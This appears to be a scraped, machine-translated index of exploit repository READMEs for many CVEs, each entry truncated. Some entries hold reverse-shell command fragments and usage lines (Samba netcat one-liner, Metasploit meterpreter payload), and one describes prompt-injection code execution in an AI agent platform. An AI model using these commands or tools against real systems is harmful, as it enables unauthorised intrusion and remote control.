CVE-2020-28018

POC CVE-2020-28018 介绍 Qualys 团队发现并发布了 Exim4 邮件服务器中的 21 个严重漏洞。 https://blog.qualys.com/vulnerabilities-research/2021/05/04/21nails-multiple-vulnerabilities-in-exim-mail-server 以下链接提供了有关这些漏洞及其利用的详细技术信息。 https://www.qualys.com/2021/05/04/21nails/21nails.txt 在本仓库中，我们专注于 CVE-2020-28018，该漏洞通过利用...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f 用法 root@kitploit: 利用目标 10.129.232.46 的 445 端口，向 10.10.14.82 的 443 端口发送反弹 shell python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 使用自定义远程端口和本地端口 python3 CVE-2007-2447.py --rhost 10.129.232.46 --rport 4445 --lhost 10.10.14.82...

CVE-2025-45466

CVE-2025-45466 这是CVE-2025-45466的详细信息 CVE披露：CVE-2025-45466 摘要 在 Unitree Go1 机器人狗（所有版本 使用硬编码密码 4. 以 root 权限执行任意操作。 结果 如下方截图所示，root 访问密码保存在 passwd.sh 中（图1）。该文件可在同一固件包中找到（图2） 图1： 图2：...

cve_2026_34621_advanced

CVE-2026-34621 고급 익스플로잇 생성기 CVE-2026-34621 을 위한 정교한 크로스 플랫폼 익스플로잇 생성기 – Windows 및 macOS에서 샌드박스 탈출과 임의 코드 실행으로 이어지는 Adobe Acrobat 및 Reader의 치명적인 프로토타입 오염 취약점입니다. ⚠️ 중요 고지 이 도구는 승인된 보안 연구 및 침투 테스트 용도로만 사용해야 합니다. 소유하지 않았거나 명시적인 서면 테스트 허가를 받지 않은 시스템에 대한 무단 사용은 불법 입니다. 작성자는 오용에 대해 어떠한 책임도 지지 않습니다. 📋 목차...

CVE-2017-12617

обновлённая версия https://github.com/cyberheartmi9 CVE-2017-12617 CVE-2017-12617 критическая уязвимость удалённого выполнения кода RCE, обнаруженная в Apache Tomcat Подвержены системы с включённым HTTP PUT при установке параметра инициализации "read-only" сервлета Default в значение "false"...

CVE-2022-47986

CVE-2022-47986 Почему Эта уязвимость эксплуатируется в реальных атаках. IceFire использует эту уязвимость для развертывания программы-вымогателя на целевых системах. Я хотел бы помочь командам SOC/Blue Teams выявлять затронутые системы, а пентестерам/Red Teams — эксплуатировать уязвимость и...

CVE-2026-30741

Безопасность: CVE-2026-30741 Продукт: OpenClaw Agent Platform Затронутые версии: v2026.2.6 и более ранние Тип уязвимости: Удалённое выполнение кода RCE через инъекцию подсказок на стороне запроса Описание: Отсутствие проверки целостности для исходящих API-запросов допускает отравление потока...

mailenable-cve-2022-36934

MailEnable CVE-2022-36934 漏洞利用模块 用于 MailEnable 身份验证绕过漏洞 CVE-2022-36934 的 Metasploit 模块，可导致远程代码执行。 📌 功能特性 利用 MailEnable 在 SMTP/POP3 中的不当输入清理 支持 x86 和 x64 Windows 目标 无需用户交互（通过精心构造的邮件自动触发） 适用于 MailEnable 版本 set LHOST set PAYLOAD windows/x64/meterpreter/reversetcp exploit 🎯 测试目标：...

CVE-2024-21762

🇮🇱 BringTheHome NeverAgainIsNow 🇮🇱 Мы требуем безопасного возвращения всех граждан, взятых в заложники террористической группировкой ХАМАС. Мы не успокоимся, пока каждый заложник не будет освобождён и не вернётся домой в целости. Вы можете помочь вернуть их...

wp-file-manager

wp-file-manager WP File Manager 6.9 — произвольная загрузка файлов, ведущая к RCE root@kitploit: usage: wp-file-manager.py -h -u URL -f FILE optional arguments: -h, --help show this help message and exit -u URL, --url URL URL of host to check will need http or https -f FILE, --file FILE File of...

vscode-rce-electrovolt

vscode-rce-electrovolt CVE-2021-43908 https://blog.electrovolt.io/posts/vscode-rce/...

MAL-012

MAL-012: Отражённый межсайтовый скриптинг в консоли администратора, приводящий к удалённому выполнению кода в Payara Server В консоли администратора Payara была обнаружена атака с использованием отражённого межсайтового скриптинга Reflected Cross Site Scripting, XSS. Убедив администратора перейти...

RCE-RealEstateVIDEOPOC

В этом репозитории нет README...

TIC4301_Project

TIC4301Project TIC4301 项目 - CVE-2021-40444 下载以下 Vagrant 镜像： Kali - https://drive.google.com/file/d/1RegQcT2jjFoaQRgLjXDYl4iS0HNtmU2/view?usp=sharing Win10 - https://drive.google.com/file/d/1zcLertRoI-FrHDkRq1NO-KHaF88bMv6e/view?usp=sharing 通过 Vagrant 使用以下命令导入镜像： 1. vagrant box add kalipackage.box...

Spring4ShellPoC

Spring4ShellPoC Spring4Shell PoC CVE-2022-22965 只是玩玩这个漏洞利用。 修改自BobTheShopLifter的出色工作，https://github.com/BobTheShoplifter/Spring4Shell-POC 以及TryHackMe，https://tryhackme.com/room/spring4shell 只是一些小调整。 在检查漏洞利用是否已部署时添加了一些额外内容。 为等待计时器添加了一个进度条，只是为了看看它们如何工作。...

Samba-CVE-2007-2447-Exploit-Username-Map-Script

Samba CVE-2007-2447 利用工具 用户映射脚本 此仓库包含一个 Python 脚本，用于自动化利用 Samba 服务器（版本 3.0.20 至 3.0.25rc3）中的 CVE-2007-2447 漏洞。该工具仅用于 教育 目的和授权的渗透测试。 📝 技术学术描述 “用户映射脚本” 漏洞是由于当 Samba 配置中启用了 username map script 选项时，未对用户名输入进行清理所致。当发送包含 shell 元字符（如反引号 或子 shell $）的用户名时，服务器会以服务权限（通常是 root）执行这些命令。 🚀 要求 操作系统： Kali Linux /...

Rig-Exploit-for-CVE-2018-8174

Rig-Exploit-for-CVE-2018-8174 针对CVE-2018-8174的Rig漏洞利用。与之前的活动一样，Rig的Seamless活动使用恶意广告。这种情况下，恶意广告包含一个隐藏的iframe，将受害者重定向到Rig的着陆页，该页面包含针对CVE-2018-8174的漏洞利用代码和shellcode。这能够对着陆页中混淆的shellcode实现远程代码执行。成功利用后，会检索一个第二阶段下载器，根据URL来看似乎是SmokeLoader的一个变种。随后它会下载最终载荷——一个门罗币矿工。...

slides

슬라이드 다르게 해킹하기: Z세대 버그로 iOS 14 제압하기 BlackHat USA 2021 Zhi Zhou@CodeColorist, Jundong Xie @Jdddong 백서 녹화 패러디 Eval은 보지 마: Objective-C 런타임 동적 코드 실행 RWCTF 2021 Zhi Zhou@CodeColorist 크로스 사이트 탈출: 특이한 방법으로 macOS Safari 샌드박스 제압하기 BlackHat EU 2020 Zhi Zhou@CodeColorist 난 자유로워지고 싶어: 특이한 로직 Safari 샌드박스 탈출...

ToolShell

Exploit for SharePoint ToolShell. Blog: https://blog.viettelcybersecurity.com/sharepoint-toolshell/ 사용 방법: python exploit.py -u -c 예: python exploit.py -u http://10.0.1.12/sites/test -c calc @l0gg...

RemoteMouse-3.008-RCE

CVE-2021-35448 - Remote Mouse 利用工具 描述 此利用工具针对 Remote Mouse（原名 WiFi Mouse）应用程序中的 CVE-2021-35448 漏洞。 POC CVE-2021-35448.webm 使用方法 基本语法 root@kitploit: python3 CVE-2021-35448.py -t OPTIONS 选项 -t, --target：目标 IP 地址（必填） -p, --payload：自定义执行的命令 -r, --reverse：反向 Shell，格式为 IP:PORT -l, --http：本地 HTTP 服务器，格式...